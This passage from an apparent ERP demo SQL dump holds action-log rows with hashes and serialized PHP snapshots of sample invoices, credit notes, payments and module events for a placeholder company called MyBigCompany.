Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1563400800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1907-0028\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(56,'2020-01-21 09:23:49','PAYMENT_CUSTOMER_CREATE',50.00000000,'87cab3c0d2443145bb01b7364b78917756b2bf9b7908355b1a3258c28ecf1400','966571aa0fe244a6e762172fff34c03610ba4066f6f95369f514076c97975b6b','payment',43,'PAY2001-0009','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0009\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:2:\"CB\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1563400800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1907-0028\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(57,'2020-01-21 09:33:28','MODULE_RESET',0.00000000,'0000000000','d8134616ec977d8204a6856269ccfc799ea7eccc80074ac62350a5cdee3b070b','module',1,'systemevent','2020-01-21 10:33:28','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1579599208;}',12,1,0,'2020-01-21 10:33:28','Alice Adminson',''),(58,'2020-12-10 12:31:17','MODULE_SET',0.00000000,'1f651fa26c45e58ae8303d336a35eddef44c398d225744ad49f803355cdadb43','dce54650a53002c6dc3dbffad2600c13ce08d19b5fa23811b8d2a31d75ac6a60','module',1,'systemevent','2020-12-10 13:31:17','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";s:1:\"1\";s:4:\"date\";i:1607603477;}',12,1,0,'2020-12-10 13:31:17','Alice Adminson',''),(59,'2022-02-07 14:32:49','MODULE_RESET',0.00000000,'0000000000','db6f3715c6f5a84d8f492e5cde34c3055d08ad8a0427229d66190c1de3700c1f','module',1,'systemevent','2022-02-07 14:32:49','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":16:{s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax2_assuj\";i:1;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1644244369;}',12,1,0,'2022-02-07 14:32:49','Alice Adminson',''),(60,'2022-02-07 14:32:50','MODULE_SET',0.00000000,'3821e87f5e665f473ae8043688893856375f41c0d7c5190c209e45299f4cc4b9','85d0333c46688c956bfe71052640ea882bbef2ad767a6a6b1fcd97dbabdb0539','module',1,'systemevent','2022-02-07 14:32:50','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":16:{s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax2_assuj\";i:1;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1644244370;}',12,1,0,'2022-02-07 14:32:50','Alice Adminson',''),(61,'2023-01-18 10:54:02','BILL_VALIDATE',1200.00000000,'4ec67b6d5f2475419963a676af716659e68622c0acdf35d12776bf4e5870f7d8','3943d12be722962a67e0bacbddd2f2320be40349d60ebbe52e1e12f1f6762822','facture',232,'FA2301-0029','2023-01-18 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:3:\"bbb\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00029\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2301-0029\";s:8:\"total_ht\";d:1000;s:9:\"total_tva\";d:200;s:9:\"total_ttc\";d:1200;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:13:\"1000.00000000\";s:9:\"total_tva\";s:12:\"200.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:13:\"1200.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:13:\"1000.00000000\";s:23:\"multicurrency_total_tva\";s:12:\"200.00000000\";s:23:\"multicurrency_total_ttc\";s:13:\"1200.00000000\";}}s:4:\"date\";i:1674010800;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-01-18 07:54:02','Alice Adminson',''),(62,'2023-01-18 10:54:30','BILL_VALIDATE',-1200.00000000,'359b1681abdee2f14a0c5c30f60bde4e8143f51cda4eea4c5f8bf57a522464db','e9e2d79604e0c4734c51ee9dff17cc42b9e4ec240bc44f6b4b2c21523e762311','facture',233,'AV2301-0004','2023-01-18 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:3:\"bbb\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00029\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"AV2301-0004\";s:8:\"total_ht\";d:-1000;s:9:\"total_tva\";d:-200;s:9:\"total_ttc\";d:-1200;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:14:\"-1000.00000000\";s:9:\"total_tva\";s:13:\"-200.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:14:\"-1200.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:14:\"-1000.00000000\";s:23:\"multicurrency_total_tva\";s:13:\"-200.00000000\";s:23:\"multicurrency_total_ttc\";s:14:\"-1200.00000000\";}}s:4:\"date\";i:1674010800;s:4:\"type\";s:1:\"2\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-01-18 07:54:30','Alice Adminson',''),(63,'2023-01-20 18:01:17','DOC_PREVIEW',1200.00000000,'ea6d58c7db2aada55b94ac2e6390d9375c1fbc075deb09e864953e709f697116','9c004b64dbeb901520d9e04b42b3db0ae888ea390b5b603dd58d632dbfe58d6b','facture',232,'FA2301-0029','2023-01-18 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:3:\"bbb\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00029\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2301-0029\";s:8:\"total_ht\";s:13:\"1000.00000000\";s:9:\"total_tva\";s:12:\"200.00000000\";s:9:\"total_ttc\";s:13:\"1200.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:13:\"1000.00000000\";s:9:\"total_tva\";s:12:\"200.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:13:\"1200.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:13:\"1000.00000000\";s:23:\"multicurrency_total_tva\";s:12:\"200.00000000\";s:23:\"multicurrency_total_ttc\";s:13:\"1200.00000000\";}}s:4:\"date\";i:1674010800;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-01-20 15:01:17','Alice Adminson',''),(64,'2023-01-20 18:03:16','DOC_PREVIEW',1200.00000000,'1767d59d9f397006b7ae3b6b3c9a98c1524adcd5f37256e49849d29ca1a1e6ce','803c7bbd3f089b497aa619eb9fe57d1fb7d03fc85a224fd91ee1dc00df034f6a','facture',232,'FA2301-0029','2023-01-18 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:3:\"bbb\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00029\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2301-0029\";s:8:\"total_ht\";s:13:\"1000.00000000\";s:9:\"total_tva\";s:12:\"200.00000000\";s:9:\"total_ttc\";s:13:\"1200.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:13:\"1000.00000000\";s:9:\"total_tva\";s:12:\"200.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:13:\"1200.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:13:\"1000.00000000\";s:23:\"multicurrency_total_tva\";s:12:\"200.00000000\";s:23:\"multicurrency_total_ttc\";s:13:\"1200.00000000\";}}s:4:\"date\";i:1674010800;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-01-20 15:03:16','Alice Adminson',''),(65,'2023-02-04 15:42:34','BILL_VALIDATE',4.84000000,'9e7afe53861cbc6e8c914c7a44b02262ccc7075048cbc1abac9f75b6674b55db','4c07fc1f1c78514da624ed03dedf60e8be186fba5b1889b0dee88e6fc989848e','facture',55,'FA1212-0009','2022-12-11 00:00:00','O:8:\"stdClass\":11:{s:10:\"thirdparty\";O:8:\"stdClass\":10:{s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";s:7:\"address\";s:13:\"1 alalah road\";s:4:\"town\";s:5:\"Delhi\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA1212-0009\";s:11:\"note_public\";s:26:\"This is a comment (public)\";s:8:\"total_ht\";d:4.48;s:9:\"total_tva\";d:0.36;s:9:\"total_ttc\";d:4.84;s:11:\"invoiceline\";a:4:{i:1;O:8:\"stdClass\":14:{s:8:\"total_ht\";s:10:\"1.24000000\";s:9:\"total_tva\";s:10:\"0.12000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"1.36000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"10.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:22:\"multicurrency_total_ht\";s:10:\"0.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"0.00000000\";}i:2;O:8:\"stdClass\":14:{s:8:\"total_ht\";s:10:\"1.24000000\";s:9:\"total_tva\";s:10:\"0.12000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"1.36000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"10.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:22:\"multicurrency_total_ht\";s:10:\"0.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"0.00000000\";}i:3;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:10:\"1.00000000\";s:9:\"total_tva\";s:10:\"0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"1.06000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:12:\"vat_src_code\";s:3:\"aaa\";s:6:\"tva_tx\";s:5:\"5.500\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:22:\"multicurrency_total_ht\";s:10:\"1.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.06000000\";s:23:\"multicurrency_total_ttc\";s:10:\"1.06000000\";}i:4;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:10:\"1.00000000\";s:9:\"total_tva\";s:10:\"0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"1.06000000\";s:12:\"product_type\";s:1:\"1\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:12:\"vat_src_code\";s:3:\"bbb\";s:6:\"tva_tx\";s:5:\"5.500\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:22:\"multicurrency_total_ht\";s:10:\"1.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.06000000\";s:23:\"multicurrency_total_ttc\";s:10:\"1.06000000\";}}s:4:\"date\";i:1670727600;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-02-04 12:42:34','Alice Adminson',''),(67,'2023-02-06 12:18:07','PAYMENT_CUSTOMER_CREATE',1.00000000,'29e4c7c429adb0875e9d6d21518d4dbbd26fb49a7d222ced0b99787f2e08ab52','e7f362f720c827d35fed11ca68b5722ce763234cfa655c3ef98bbd94269190a7','payment',45,'PAY2212-0010','2022-12-11 08:00:00','O:8:\"stdClass\":7:{s:10:\"thirdparty\";O:8:\"stdClass\":10:{s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";s:7:\"address\";s:13:\"1 alalah 